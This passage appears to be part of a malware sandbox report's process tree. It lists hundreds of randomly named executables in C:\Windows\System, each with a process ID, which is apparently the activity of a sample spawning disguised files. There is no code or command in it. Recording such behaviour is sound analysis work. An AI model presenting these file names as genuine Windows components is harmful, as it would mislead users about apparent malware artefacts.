  C:\Windows\System\Drjcrxl.exe
  2⤵
  PID:6752
- C:\Windows\System\uiwdQXk.exe
  C:\Windows\System\uiwdQXk.exe
  2⤵
  PID:6928
- C:\Windows\System\ZIrQaCQ.exe
  C:\Windows\System\ZIrQaCQ.exe
  2⤵
  PID:4144
- C:\Windows\System\ADuayNz.exe
  C:\Windows\System\ADuayNz.exe
  2⤵
  PID:2208
- C:\Windows\System\wpKcTIV.exe
  C:\Windows\System\wpKcTIV.exe
  2⤵
  PID:6608
- C:\Windows\System\qzhlDRe.exe
  C:\Windows\System\qzhlDRe.exe
  2⤵
  PID:1600
- C:\Windows\System\clPTNkn.exe
  C:\Windows\System\clPTNkn.exe
  2⤵
  PID:6948
- C:\Windows\System\adjmPMn.exe
  C:\Windows\System\adjmPMn.exe
  2⤵
  PID:3784
- C:\Windows\System\SukyyxX.exe
  C:\Windows\System\SukyyxX.exe
  2⤵
  PID:6500
- C:\Windows\System\GOLyKvv.exe
  C:\Windows\System\GOLyKvv.exe
  2⤵
  PID:6988
- C:\Windows\System\xIBYouL.exe
  C:\Windows\System\xIBYouL.exe
  2⤵
  PID:6516
- C:\Windows\System\svOcCma.exe
  C:\Windows\System\svOcCma.exe
  2⤵
  PID:7192
- C:\Windows\System\wppCUuL.exe
  C:\Windows\System\wppCUuL.exe
  2⤵
  PID:7212
- C:\Windows\System\IrrHEWI.exe
  C:\Windows\System\IrrHEWI.exe
  2⤵
  PID:7228
- C:\Windows\System\IIxHIjA.exe
  C:\Windows\System\IIxHIjA.exe
  2⤵
  PID:7256
- C:\Windows\System\hiPzsbD.exe
  C:\Windows\System\hiPzsbD.exe
  2⤵
  PID:7288
- C:\Windows\System\EuBaFmp.exe
  C:\Windows\System\EuBaFmp.exe
  2⤵
  PID:7312
- C:\Windows\System\fYCtYVR.exe
  C:\Windows\System\fYCtYVR.exe
  2⤵
  PID:7356
- C:\Windows\System\eqRFftB.exe
  C:\Windows\System\eqRFftB.exe
  2⤵
  PID:7376
- C:\Windows\System\USdXUGf.exe
  C:\Windows\System\USdXUGf.exe
  2⤵
  PID:7428
- C:\Windows\System\IxlrtCo.exe
  C:\Windows\System\IxlrtCo.exe
  2⤵
  PID:7456
- C:\Windows\System\zSGCOXq.exe
  C:\Windows\System\zSGCOXq.exe
  2⤵
  PID:7476
- C:\Windows\System\rLeQhxh.exe
  C:\Windows\System\rLeQhxh.exe
  2⤵
  PID:7500
- C:\Windows\System\hgpsdcj.exe
  C:\Windows\System\hgpsdcj.exe
  2⤵
  PID:7524
- C:\Windows\System\pMITTUa.exe
  C:\Windows\System\pMITTUa.exe
  2⤵
  PID:7548
- C:\Windows\System\UaOFOUb.exe
  C:\Windows\System\UaOFOUb.exe
  2⤵
  PID:7588
- C:\Windows\System\osuJyDO.exe
  C:\Windows\System\osuJyDO.exe
  2⤵
  PID:7632
- C:\Windows\System\NZSRkYW.exe
  C:\Windows\System\NZSRkYW.exe
  2⤵
  PID:7660
- C:\Windows\System\yvuCeII.exe
  C:\Windows\System\yvuCeII.exe
  2⤵
  PID:7684
- C:\Windows\System\DpveiAk.exe
  C:\Windows\System\DpveiAk.exe
  2⤵
  PID:7728
- C:\Windows\System\yVgQuqP.exe
  C:\Windows\System\yVgQuqP.exe
  2⤵
  PID:7748
- C:\Windows\System\dUkClaF.exe
  C:\Windows\System\dUkClaF.exe
  2⤵
  PID:7768
- C:\Windows\System\uXSPtTh.exe
  C:\Windows\System\uXSPtTh.exe
  2⤵
  PID:7796
- C:\Windows\System\aKkFsHR.exe
  C:\Windows\System\aKkFsHR.exe
  2⤵
  PID:7824
- C:\Windows\System\eGvvjxW.exe
  C:\Windows\System\eGvvjxW.exe
  2⤵
  PID:7856
- C:\Windows\System\kvvwemf.exe
  C:\Windows\System\kvvwemf.exe
  2⤵
  PID:7896
- C:\Windows\System\IUHXctt.exe
  C:\Windows\System\IUHXctt.exe
  2⤵
  PID:7916
- C:\Windows\System\RZWFyvm.exe
  C:\Windows\System\RZWFyvm.exe
  2⤵
  PID:7940
- C:\Windows\System\aHWXpVy.exe
  C:\Windows\System\aHWXpVy.exe
  2⤵
  PID:7964
- C:\Windows\System\soeVzgT.exe
  C:\Windows\System\soeVzgT.exe
  2⤵
  PID:7992
- C:\Windows\System\eSSGMdu.exe
  C:\Windows\System\eSSGMdu.exe
  2⤵
  PID:8020
- C:\Windows\System\ADMDKui.exe
  C:\Windows\System\ADMDKui.exe
  2⤵
  PID:8044
- C:\Windows\System\DrYxWNm.exe
  C:\Windows\System\DrYxWNm.exe
  2⤵
  PID:8060
- C:\Windows\System\oYLypaB.exe
  C:\Windows\System\oYLypaB.exe
  2⤵
  PID:8080
- C:\Windows\System\qHdJMnU.exe
  C:\Windows\System\qHdJMnU.exe
  2⤵
  PID:8120
- C:\Windows\System\cBqlVvn.exe
  C:\Windows\System\cBqlVvn.exe
  2⤵
  PID:8148
- C:\Windows\System\ALyIRNy.exe
  C:\Windows\System\ALyIRNy.exe
  2⤵
  PID:8184
- C:\Windows\System\bPBOLqM.exe
  C:\Windows\System\bPBOLqM.exe
  2⤵
  PID:7140
- C:\Windows\System\MQMkrzV.exe
  C:\Windows\System\MQMkrzV.exe
  2⤵
  PID:7308
- C:\Windows\System\GUTBtBk.exe
  C:\Windows\System\GUTBtBk.exe
  2⤵
  PID:7304
- C:\Windows\System\EyfArYo.exe
  C:\Windows\System\EyfArYo.exe
  2⤵
  PID:7424
- C:\Windows\System\QIsLKSY.exe
  C:\Windows\System\QIsLKSY.exe
  2⤵
  PID:7444
- C:\Windows\System\XhCRgmI.exe
  C:\Windows\System\XhCRgmI.exe
  2⤵
  PID:5088
- C:\Windows\System\luuGKfg.exe
  C:\Windows\System\luuGKfg.exe
  2⤵
  PID:7520
- C:\Windows\System\jvlPpWh.exe
  C:\Windows\System\jvlPpWh.exe
  2⤵
  PID:7580
- C:\Windows\System\rLAdrto.exe
  C:\Windows\System\rLAdrto.exe
  2⤵
  PID:7668
- C:\Windows\System\nMHAOnX.exe
  C:\Windows\System\nMHAOnX.exe
  2⤵
  PID:7716
- C:\Windows\System\LAknHVS.exe
  C:\Windows\System\LAknHVS.exe
  2⤵
  PID:7788
- C:\Windows\System\yvaIyES.exe
  C:\Windows\System\yvaIyES.exe
  2⤵
  PID:7852
- C:\Windows\System\ndnePIH.exe
  C:\Windows\System\ndnePIH.exe
  2⤵
  PID:7948
- C:\Windows\System\yiENOBA.exe
  C:\Windows\System\yiENOBA.exe
  2⤵
  PID:8032
- C:\Windows\System\KIakooo.exe
  C:\Windows\System\KIakooo.exe
  2⤵
  PID:8052
- C:\Windows\System\dzrTRDn.exe
  C:\Windows\System\dzrTRDn.exe
  2⤵
  PID:4744
- C:\Windows\System\AQbtARz.exe
  C:\Windows\System\AQbtARz.exe
  2⤵
  PID:8160
- C:\Windows\System\hIiQIVz.exe
  C:\Windows\System\hIiQIVz.exe
  2⤵
  PID:7392
- C:\Windows\System\noJMZjB.exe
  C:\Windows\System\noJMZjB.exe
  2⤵
  PID:7408
- C:\Windows\System\QbllVum.exe
  C:\Windows\System\QbllVum.exe
  2⤵
  PID:3932
- C:\Windows\System\tAocnOc.exe
  C:\Windows\System\tAocnOc.exe
  2⤵
  PID:7584
- C:\Windows\System\hCxflJD.exe
  C:\Windows\System\hCxflJD.exe
  2⤵
  PID:7792
- C:\Windows\System\kyQTmdm.exe
  C:\Windows\System\kyQTmdm.exe
  2⤵
  PID:7956
- C:\Windows\System\GkwUsVO.exe
  C:\Windows\System\GkwUsVO.exe
  2⤵
  PID:8072
- C:\Windows\System\UknEPwV.exe
  C:\Windows\System\UknEPwV.exe
  2⤵
  PID:7204
- C:\Windows\System\gAjZxPW.exe
  C:\Windows\System\gAjZxPW.exe
  2⤵
  PID:376
- C:\Windows\System\oIlUTQu.exe
  C:\Windows\System\oIlUTQu.exe
  2⤵
  PID:7280
- C:\Windows\System\XMsZjSm.exe
  C:\Windows\System\XMsZjSm.exe
  2⤵
  PID:8204
- C:\Windows\System\ZAJjafn.exe
  C:\Windows\System\ZAJjafn.exe
  2⤵
  PID:8220
- C:\Windows\System\ttrYJLI.exe
  C:\Windows\System\ttrYJLI.exe
  2⤵
  PID:8236
- C:\Windows\System\BkjGopG.exe
  C:\Windows\System\BkjGopG.exe
  2⤵
  PID:8252
- C:\Windows\System\lFecRYb.exe
  C:\Windows\System\lFecRYb.exe
  2⤵
  PID:8268
- C:\Windows\System\zKryapc.exe
  C:\Windows\System\zKryapc.exe
  2⤵
  PID:8284
- C:\Windows\System\zeaSEDu.exe
  C:\Windows\System\zeaSEDu.exe
  2⤵
  PID:8300
- C:\Windows\System\TzrFSPE.exe
  C:\Windows\System\TzrFSPE.exe
  2⤵
  PID:8320
- C:\Windows\System\kwcRKKz.exe
  C:\Windows\System\kwcRKKz.exe
  2⤵
  PID:8344
- C:\Windows\System\exRfGDp.exe
  C:\Windows\System\exRfGDp.exe
  2⤵
  PID:8360
- C:\Windows\System\uyHaVOZ.exe
  C:\Windows\System\uyHaVOZ.exe
  2⤵
  PID:8380
- C:\Windows\System\HnUpEWW.exe
  C:\Windows\System\HnUpEWW.exe
  2⤵
  PID:8452
- C:\Windows\System\PBagaPs.exe
  C:\Windows\System\PBagaPs.exe
  2⤵
  PID:8476
- C:\Windows\System\tBJwEcB.exe
  C:\Windows\System\tBJwEcB.exe
  2⤵
  PID:8500
- C:\Windows\System\tmmGFxN.exe
  C:\Windows\System\tmmGFxN.exe
  2⤵
  PID:8536
- C:\Windows\System\wtFjyzC.exe
  C:\Windows\System\wtFjyzC.exe
  2⤵
  PID:8556
- C:\Windows\System\kVdgAYV.exe
  C:\Windows\System\kVdgAYV.exe
  2⤵
  PID:8616
- C:\Windows\System\cKEESPX.exe
  C:\Windows\System\cKEESPX.exe
  2⤵
  PID:8636
- C:\Windows\System\OEXCNKR.exe
  C:\Windows\System\OEXCNKR.exe
  2⤵
  PID:8696
- C:\Windows\System\FSyeset.exe
  C:\Windows\System\FSyeset.exe
  2⤵
  PID:8720
- C:\Windows\System\oFbUMXo.exe
  C:\Windows\System\oFbUMXo.exe
  2⤵
  PID:8740
- C:\Windows\System\CrzIDhm.exe
  C:\Windows\System\CrzIDhm.exe
  2⤵
  PID:8764
- C:\Windows\System\dIYIZjs.exe
  C:\Windows\System\dIYIZjs.exe
  2⤵
  PID:8788
- C:\Windows\System\YAYZMDb.exe
  C:\Windows\System\YAYZMDb.exe
  2⤵
  PID:8816
- C:\Windows\System\VNUEPZD.exe
  C:\Windows\System\VNUEPZD.exe
  2⤵
  PID:8852
- C:\Windows\System\daDsMNS.exe
  C:\Windows\System\daDsMNS.exe
  2⤵
  PID:8920
- C:\Windows\System\uEAJHHP.exe
  C:\Windows\System\uEAJHHP.exe
  2⤵
  PID:8936
- C:\Windows\System\KdCntUn.exe
  C:\Windows\System\KdCntUn.exe
  2⤵
  PID:8968
- C:\Windows\System\hOWgnTW.exe
  C:\Windows\System\hOWgnTW.exe
  2⤵
  PID:9028
- C:\Windows\System\whrVWLO.exe
  C:\Windows\System\whrVWLO.exe
  2⤵
  PID:9060
- C:\Windows\System\kqrMkuM.exe
  C:\Windows\System\kqrMkuM.exe
  2⤵
  PID:9084
- C:\Windows\System\tPYzgKv.exe
  C:\Windows\System\tPYzgKv.exe
  2⤵
  PID:9112
- C:\Windows\System\KzZDFMT.exe
  C:\Windows\System\KzZDFMT.exe
  2⤵
  PID:9136
- C:\Windows\System\nBNefNv.exe
  C:\Windows\System\nBNefNv.exe
  2⤵
  PID:9168
- C:\Windows\System\RTkQMHj.exe
  C:\Windows\System\RTkQMHj.exe
  2⤵
  PID:9192
- C:\Windows\System\NhhsmuV.exe
  C:\Windows\System\NhhsmuV.exe
  2⤵
  PID:7416
- C:\Windows\System\MvFYzVU.exe
  C:\Windows\System\MvFYzVU.exe
  2⤵
  PID:8076
- C:\Windows\System\hKnUfAk.exe
  C:\Windows\System\hKnUfAk.exe
  2⤵
  PID:8340
- C:\Windows\System\BYdkRWo.exe
  C:\Windows\System\BYdkRWo.exe
  2⤵
  PID:7448
- C:\Windows\System\LLcydhH.exe
  C:\Windows\System\LLcydhH.exe
  2⤵
  PID:7976
- C:\Windows\System\GUYgLNC.exe
  C:\Windows\System\GUYgLNC.exe
  2⤵
  PID:8328
- C:\Windows\System\JmGOYSO.exe
  C:\Windows\System\JmGOYSO.exe
  2⤵
  PID:8260
- C:\Windows\System\SVSolut.exe
  C:\Windows\System\SVSolut.exe
  2⤵
  PID:8392
- C:\Windows\System\HjIKnxS.exe
  C:\Windows\System\HjIKnxS.exe
  2⤵
  PID:8568
- C:\Windows\System\PRVPVVx.exe
  C:\Windows\System\PRVPVVx.exe
  2⤵
  PID:8648
- C:\Windows\System\hlRyhED.exe
  C:\Windows\System\hlRyhED.exe
  2⤵
  PID:8712
- C:\Windows\System\HdjScDl.exe
  C:\Windows\System\HdjScDl.exe
  2⤵
  PID:8772
- C:\Windows\System\LooLQAw.exe
  C:\Windows\System\LooLQAw.exe
  2⤵
  PID:8872
- C:\Windows\System\PlOUnzP.exe
  C:\Windows\System\PlOUnzP.exe
  2⤵
  PID:8960
- C:\Windows\System\HSpyzIk.exe
  C:\Windows\System\HSpyzIk.exe
  2⤵
  PID:8892
- C:\Windows\System\wFChoUf.exe
  C:\Windows\System\wFChoUf.exe
  2⤵
  PID:9020
- C:\Windows\System\RQzLIWN.exe
  C:\Windows\System\RQzLIWN.exe
  2⤵
  PID:9108
- C:\Windows\System\uUzObPz.exe
  C:\Windows\System\uUzObPz.exe
  2⤵
  PID:9200
- C:\Windows\System\RBBajcg.exe
  C:\Windows\System\RBBajcg.exe
  2⤵
  PID:8216
- C:\Windows\System\aGwqGDP.exe
  C:\Windows\System\aGwqGDP.exe
  2⤵
  PID:5060
- C:\Windows\System\KOxMIEL.exe
  C:\Windows\System\KOxMIEL.exe
  2⤵
  PID:8264
- C:\Windows\System\HdVyOGj.exe
  C:\Windows\System\HdVyOGj.exe
  2⤵
  PID:8464
- C:\Windows\System\wyKKdNF.exe
  C:\Windows\System\wyKKdNF.exe
  2⤵
  PID:8624
- C:\Windows\System\nNNUiiE.exe
  C:\Windows\System\nNNUiiE.exe
  2⤵
  PID:8796
- C:\Windows\System\qHonfxd.exe
  C:\Windows\System\qHonfxd.exe
  2⤵
  PID:9024
- C:\Windows\System\uzdygAj.exe
  C:\Windows\System\uzdygAj.exe
  2⤵
  PID:9052
- C:\Windows\System\yaSaGoH.exe
  C:\Windows\System\yaSaGoH.exe
  2⤵
  PID:9184
- C:\Windows\System\lfNmFva.exe
  C:\Windows\System\lfNmFva.exe
  2⤵
  PID:8228
- C:\Windows\System\xffLoju.exe
  C:\Windows\System\xffLoju.exe
  2⤵
  PID:8668
- C:\Windows\System\dJVxuTh.exe
  C:\Windows\System\dJVxuTh.exe
  2⤵
  PID:8928
- C:\Windows\System\FNkwmTK.exe
  C:\Windows\System\FNkwmTK.exe
  2⤵
  PID:8296
- C:\Windows\System\XjPJcBx.exe
  C:\Windows\System\XjPJcBx.exe
  2⤵
  PID:8896
- C:\Windows\System\bvyYbvI.exe
  C:\Windows\System\bvyYbvI.exe
  2⤵
  PID:9248
- C:\Windows\System\ArafSrY.exe
  C:\Windows\System\ArafSrY.exe
  2⤵
  PID:9268
- C:\Windows\System\ZQXwLfQ.exe
  C:\Windows\System\ZQXwLfQ.exe
  2⤵
  PID:9296
- C:\Windows\System\qqXOgPB.exe
  C:\Windows\System\qqXOgPB.exe
  2⤵
  PID:9324
- C:\Windows\System\CmluIsT.exe
  C:\Windows\System\CmluIsT.exe
  2⤵
  PID:9340
- C:\Windows\System\algYekR.exe
  C:\Windows\System\algYekR.exe
  2⤵
  PID:9364
- C:\Windows\System\eJpEVXq.exe
  C:\Windows\System\eJpEVXq.exe
  2⤵
  PID:9384
- C:\Windows\System\EuOIDWJ.exe
  C:\Windows\System\EuOIDWJ.exe
  2⤵
  PID:9404
- C:\Windows\System\EdDEcyB.exe
  C:\Windows\System\EdDEcyB.exe
  2⤵
  PID:9452
- C:\Windows\System\VrVdpoY.exe
  C:\Windows\System\VrVdpoY.exe
  2⤵
  PID:9500
- C:\Windows\System\xszHJoz.exe
  C:\Windows\System\xszHJoz.exe
  2⤵
  PID:9524
- C:\Windows\System\odAPoou.exe
  C:\Windows\System\odAPoou.exe
  2⤵
  PID:9544
- C:\Windows\System\sHOuPZm.exe
  C:\Windows\System\sHOuPZm.exe
  2⤵
  PID:9564
- C:\Windows\System\UsdFFNz.exe
  C:\Windows\System\UsdFFNz.exe
  2⤵
  PID:9580
- C:\Windows\System\ZaCcEUJ.exe
  C:\Windows\System\ZaCcEUJ.exe
  2⤵
  PID:9612
- C:\Windows\System\GIKEzEm.exe
  C:\Windows\System\GIKEzEm.exe
  2⤵
  PID:9640
- C:\Windows\System\IuuVtsO.exe
  C:\Windows\System\IuuVtsO.exe
  2⤵
  PID:9680
- C:\Windows\System\nhxZvCD.exe
  C:\Windows\System\nhxZvCD.exe
  2⤵
  PID:9700
- C:\Windows\System\sLEBcpz.exe
  C:\Windows\System\sLEBcpz.exe
  2⤵
  PID:9720
- C:\Windows\System\zVCaZSt.exe
  C:\Windows\System\zVCaZSt.exe
  2⤵
  PID:9748
- C:\Windows\System\BigxVBe.exe
  C:\Windows\System\BigxVBe.exe
  2⤵
  PID:9776
- C:\Windows\System\xWvzJNo.exe
  C:\Windows\System\xWvzJNo.exe
  2⤵
  PID:9816
- C:\Windows\System\keeeazD.exe
  C:\Windows\System\keeeazD.exe
  2⤵
  PID:9848
- C:\Windows\System\QuorhUc.exe
  C:\Windows\System\QuorhUc.exe
  2⤵
  PID:9872
- C:\Windows\System\vTCFWaB.exe
  C:\Windows\System\vTCFWaB.exe
  2⤵
  PID:9896
- C:\Windows\System\iZrvBHc.exe
  C:\Windows\System\iZrvBHc.exe
  2⤵
  PID:9944
- C:\Windows\System\RbjPUdi.exe
  C:\Windows\System\RbjPUdi.exe
  2⤵
  PID:9964
- C:\Windows\System\bvXvAyT.exe
  C:\Windows\System\bvXvAyT.exe
  2⤵
  PID:9988
- C:\Windows\System\RkzZaUb.exe
  C:\Windows\System\RkzZaUb.exe
  2⤵
  PID:10012
- C:\Windows\System\XKjhWDk.exe
  C:\Windows\System\XKjhWDk.exe
  2⤵
  PID:10036
- C:\Windows\System\QPUISav.exe
  C:\Windows\System\QPUISav.exe
  2⤵
  PID:10056
- C:\Windows\System\NTQuGSK.exe
  C:\Windows\System\NTQuGSK.exe
  2⤵
  PID:10080
- C:\Windows\System\HveSnBm.exe
  C:\Windows\System\HveSnBm.exe
  2⤵
  PID:10100
- C:\Windows\System\qqbVAnU.exe
  C:\Windows\System\qqbVAnU.exe
  2⤵
  PID:10128
- C:\Windows\System\HTvhxCM.exe
  C:\Windows\System\HTvhxCM.exe
  2⤵
  PID:10176
- C:\Windows\System\pkaZrSQ.exe
  C:\Windows\System\pkaZrSQ.exe
  2⤵
  PID:10220
- C:\Windows\System\QStvaLc.exe
  C:\Windows\System\QStvaLc.exe
  2⤵
  PID:6868
- C:\Windows\System\UHneNeM.exe
  C:\Windows\System\UHneNeM.exe
  2⤵
  PID:9224
- C:\Windows\System\pnzKwJJ.exe
  C:\Windows\System\pnzKwJJ.exe
  2⤵
  PID:9288
- C:\Windows\System\dYsysOF.exe
  C:\Windows\System\dYsysOF.exe
  2⤵
  PID:9332
- C:\Windows\System\qvNWvWr.exe
  C:\Windows\System\qvNWvWr.exe
  2⤵
  PID:9432
- C:\Windows\System\qbcpODq.exe
  C:\Windows\System\qbcpODq.exe
  2⤵
  PID:9480
- C:\Windows\System\EBYHVCT.exe
  C:\Windows\System\EBYHVCT.exe
  2⤵
  PID:9552
- C:\Windows\System\lZTGrpM.exe
  C:\Windows\System\lZTGrpM.exe
  2⤵
  PID:9636
- C:\Windows\System\qNoZtgM.exe
  C:\Windows\System\qNoZtgM.exe
  2⤵
  PID:9696
- C:\Windows\System\mVHPIuP.exe
  C:\Windows\System\mVHPIuP.exe
  2⤵
  PID:9744
- C:\Windows\System\qWumIzH.exe
  C:\Windows\System\qWumIzH.exe
  2⤵
  PID:9836
- C:\Windows\System\SlCGmQK.exe
  C:\Windows\System\SlCGmQK.exe
  2⤵
  PID:9952
- C:\Windows\System\UzjaOwN.exe
  C:\Windows\System\UzjaOwN.exe
  2⤵
  PID:10008
- C:\Windows\System\JSDdOll.exe
  C:\Windows\System\JSDdOll.exe
  2⤵
  PID:10072
- C:\Windows\System\uBxfpXZ.exe
  C:\Windows\System\uBxfpXZ.exe
  2⤵
  PID:10048
- C:\Windows\System\NDukRPp.exe
  C:\Windows\System\NDukRPp.exe
  2⤵
  PID:10168
- C:\Windows\System\wZRlHPv.exe
  C:\Windows\System\wZRlHPv.exe
  2⤵
  PID:10236
- C:\Windows\System\rdWVWiT.exe
  C:\Windows\System\rdWVWiT.exe
  2⤵
  PID:9348
- C:\Windows\System\DXIyriJ.exe
  C:\Windows\System\DXIyriJ.exe
  2⤵
  PID:9604
- C:\Windows\System\tispJAJ.exe
  C:\Windows\System\tispJAJ.exe
  2⤵
  PID:9728
- C:\Windows\System\amRGEMY.exe
  C:\Windows\System\amRGEMY.exe
  2⤵
  PID:9928
- C:\Windows\System\VulEdpV.exe
  C:\Windows\System\VulEdpV.exe
  2⤵
  PID:10064
- C:\Windows\System\lpCmohU.exe
  C:\Windows\System\lpCmohU.exe
  2⤵
  PID:10228
- C:\Windows\System\QVbzJyI.exe
  C:\Windows\System\QVbzJyI.exe
  2⤵
  PID:9228
- C:\Windows\System\MupPbZk.exe
  C:\Windows\System\MupPbZk.exe
  2⤵
  PID:10172
- C:\Windows\System\bhckeEf.exe
  C:\Windows\System\bhckeEf.exe
  2⤵
  PID:9532
- C:\Windows\System\zWKazpK.exe
  C:\Windows\System\zWKazpK.exe
  2⤵
  PID:10244
- C:\Windows\System\xfQhyjt.exe
  C:\Windows\System\xfQhyjt.exe
  2⤵
  PID:10272
- C:\Windows\System\KUZGBzZ.exe
  C:\Windows\System\KUZGBzZ.exe
  2⤵
  PID:10292
- C:\Windows\System\SZGbRML.exe
  C:\Windows\System\SZGbRML.exe
  2⤵
  PID:10324
- C:\Windows\System\cIyhOls.exe
  C:\Windows\System\cIyhOls.exe
  2⤵
  PID:10340
- C:\Windows\System\XWooRYm.exe
  C:\Windows\System\XWooRYm.exe
  2⤵
  PID:10360
- C:\Windows\System\UqpNbHd.exe
  C:\Windows\System\UqpNbHd.exe
  2⤵
  PID:10404
- C:\Windows\System\JHiWGNL.exe
  C:\Windows\System\JHiWGNL.exe
  2⤵
  PID:10432
- C:\Windows\System\Jdobhwg.exe
  C:\Windows\System\Jdobhwg.exe
  2⤵
  PID:10456
- C:\Windows\System\EYqyAbp.exe
  C:\Windows\System\EYqyAbp.exe
  2⤵
  PID:10492
- C:\Windows\System\JlwdDKs.exe
  C:\Windows\System\JlwdDKs.exe
  2⤵
  PID:10516
- C:\Windows\System\RJNbEyS.exe
  C:\Windows\System\RJNbEyS.exe
  2⤵
  PID:10540
- C:\Windows\System\eBadZlU.exe
  C:\Windows\System\eBadZlU.exe
  2⤵
  PID:10560
- C:\Windows\System\STaljRI.exe
  C:\Windows\System\STaljRI.exe
  2⤵
  PID:10588
- C:\Windows\System\teYjRBF.exe
  C:\Windows\System\teYjRBF.exe
  2⤵
  PID:10612
- C:\Windows\System\BNoiUmN.exe
  C:\Windows\System\BNoiUmN.exe
  2⤵
  PID:10660
- C:\Windows\System\RebtzQN.exe
  C:\Windows\System\RebtzQN.exe
  2⤵
  PID:10684
- C:\Windows\System\eRneAdi.exe
  C:\Windows\System\eRneAdi.exe
  2⤵
  PID:10704
- C:\Windows\System\ETkPgWO.exe
  C:\Windows\System\ETkPgWO.exe
  2⤵
  PID:10760
- C:\Windows\System\iRzbeEM.exe
  C:\Windows\System\iRzbeEM.exe
  2⤵
  PID:10780
- C:\Windows\System\qujMXUw.exe
  C:\Windows\System\qujMXUw.exe
  2⤵
  PID:10800
- C:\Windows\System\ArnZqnT.exe
  C:\Windows\System\ArnZqnT.exe
  2⤵
  PID:10828
- C:\Windows\System\MVAfKaT.exe
  C:\Windows\System\MVAfKaT.exe
  2⤵
  PID:10848
- C:\Windows\System\hJryupc.exe
  C:\Windows\System\hJryupc.exe
  2⤵
  PID:10876
- C:\Windows\System\RmWsRbp.exe
  C:\Windows\System\RmWsRbp.exe
  2⤵
  PID:10896
- C:\Windows\System\WmJXqpR.exe
  C:\Windows\System\WmJXqpR.exe
  2⤵
  PID:10912
- C:\Windows\System\MXxSpsh.exe
  C:\Windows\System\MXxSpsh.exe
  2⤵
  PID:10956
- C:\Windows\System\WwzyYZH.exe
  C:\Windows\System\WwzyYZH.exe
  2⤵
  PID:10972
- C:\Windows\System\egPttnh.exe
  C:\Windows\System\egPttnh.exe
  2⤵
  PID:10988
- C:\Windows\System\izzHkHU.exe
  C:\Windows\System\izzHkHU.exe
  2⤵
  PID:11020
- C:\Windows\System\btXfIJb.exe
  C:\Windows\System\btXfIJb.exe
  2⤵
  PID:11040
- C:\Windows\System\oSiBGPE.exe
  C:\Windows\System\oSiBGPE.exe
  2⤵
  PID:11104
- C:\Windows\System\MAGqpFo.exe
  C:\Windows\System\MAGqpFo.exe
  2⤵
  PID:11124
- C:\Windows\System\aMOcbSI.exe
  C:\Windows\System\aMOcbSI.exe
  2⤵
  PID:11176
- C:\Windows\System\OfEbOMH.exe
  C:\Windows\System\OfEbOMH.exe
  2⤵
  PID:11208
- C:\Windows\System\UCMTzDx.exe
  C:\Windows\System\UCMTzDx.exe
  2⤵
  PID:11236
- C:\Windows\System\WKoWqsY.exe
  C:\Windows\System\WKoWqsY.exe
  2⤵
  PID:9220
- C:\Windows\System\jwuHStZ.exe
  C:\Windows\System\jwuHStZ.exe
  2⤵
  PID:10264
- C:\Windows\System\TVhSAPm.exe
  C:\Windows\System\TVhSAPm.exe
  2⤵
  PID:10356
- C:\Windows\System\kFMohcx.exe
  C:\Windows\System\kFMohcx.exe
  2⤵
  PID:10400
- C:\Windows\System\ntkvchi.exe
  C:\Windows\System\ntkvchi.exe
  2⤵
  PID:10484
- C:\Windows\System\wVozTrx.exe
  C:\Windows\System\wVozTrx.exe
  2⤵
  PID:10532
- C:\Windows\System\WEDpFEk.exe
  C:\Windows\System\WEDpFEk.exe
  2⤵
  PID:10568
- C:\Windows\System\QRDUbSs.exe
  C:\Windows\System\QRDUbSs.exe
  2⤵
  PID:10632
- C:\Windows\System\oDYrpBa.exe
  C:\Windows\System\oDYrpBa.exe
  2⤵
  PID:10716
- C:\Windows\System\auHiLRp.exe
  C:\Windows\System\auHiLRp.exe
  2⤵
  PID:10768
- C:\Windows\System\LTHAjQJ.exe
  C:\Windows\System\LTHAjQJ.exe
  2⤵
  PID:10808
- C:\Windows\System\hjutyxz.exe
  C:\Windows\System\hjutyxz.exe
  2⤵
  PID:10924
- C:\Windows\System\PzbYRLA.exe
  C:\Windows\System\PzbYRLA.exe
  2⤵
  PID:10984
- C:\Windows\System\hscBdgI.exe
  C:\Windows\System\hscBdgI.exe
  2⤵
  PID:11048
- C:\Windows\System\EzIcjyd.exe
  C:\Windows\System\EzIcjyd.exe
  2⤵
  PID:11092
- C:\Windows\System\PcLaCaJ.exe
  C:\Windows\System\PcLaCaJ.exe
  2⤵
  PID:11188
- C:\Windows\System\diTSJiG.exe
  C:\Windows\System\diTSJiG.exe
  2⤵
  PID:11260
- C:\Windows\System\jsrDchc.exe
  C:\Windows\System\jsrDchc.exe
  2⤵
  PID:10300
- C:\Windows\System\FHYDqNR.exe
  C:\Windows\System\FHYDqNR.exe
  2⤵
  PID:10424
- C:\Windows\System\rQlHYTf.exe
  C:\Windows\System\rQlHYTf.exe
  2⤵
  PID:10600
- C:\Windows\System\ztxMOFa.exe
  C:\Windows\System\ztxMOFa.exe
  2⤵
  PID:10652
- C:\Windows\System\nlANbxK.exe
  C:\Windows\System\nlANbxK.exe
  2⤵
  PID:10888
- C:\Windows\System\xDRdqoj.exe
  C:\Windows\System\xDRdqoj.exe
  2⤵
  PID:11028
- C:\Windows\System\GexkTIx.exe
  C:\Windows\System\GexkTIx.exe
  2⤵
  PID:11228
- C:\Windows\System\tTbVAFJ.exe
  C:\Windows\System\tTbVAFJ.exe
  2⤵
  PID:10676
- C:\Windows\System\xsZOiaL.exe
  C:\Windows\System\xsZOiaL.exe
  2⤵
  PID:10792
- C:\Windows\System\GxqUyZk.exe
  C:\Windows\System\GxqUyZk.exe
  2⤵
  PID:11052
- C:\Windows\System\nGFqaeN.exe
  C:\Windows\System\nGFqaeN.exe
  2⤵
  PID:10776
- C:\Windows\System\AYgFUhh.exe
  C:\Windows\System\AYgFUhh.exe
  2⤵
  PID:11276
- C:\Windows\System\IVPYmhx.exe
  C:\Windows\System\IVPYmhx.exe
  2⤵
  PID:11304
- C:\Windows\System\FzaHGai.exe
  C:\Windows\System\FzaHGai.exe
  2⤵
  PID:11336
- C:\Windows\System\DTaArPT.exe
  C:\Windows\System\DTaArPT.exe
  2⤵
  PID:11364
- C:\Windows\System\rKuFobs.exe
  C:\Windows\System\rKuFobs.exe
  2⤵
  PID:11420
- C:\Windows\System\bXYzKkR.exe
  C:\Windows\System\bXYzKkR.exe
  2⤵
  PID:11436
- C:\Windows\System\ItucXlY.exe
  C:\Windows\System\ItucXlY.exe
  2⤵
  PID:11460
- C:\Windows\System\FopXkOA.exe
  C:\Windows\System\FopXkOA.exe
  2⤵
  PID:11484
- C:\Windows\System\jBXilcb.exe
  C:\Windows\System\jBXilcb.exe
  2⤵
  PID:11512
- C:\Windows\System\LjpCsTt.exe
  C:\Windows\System\LjpCsTt.exe
  2⤵
  PID:11544
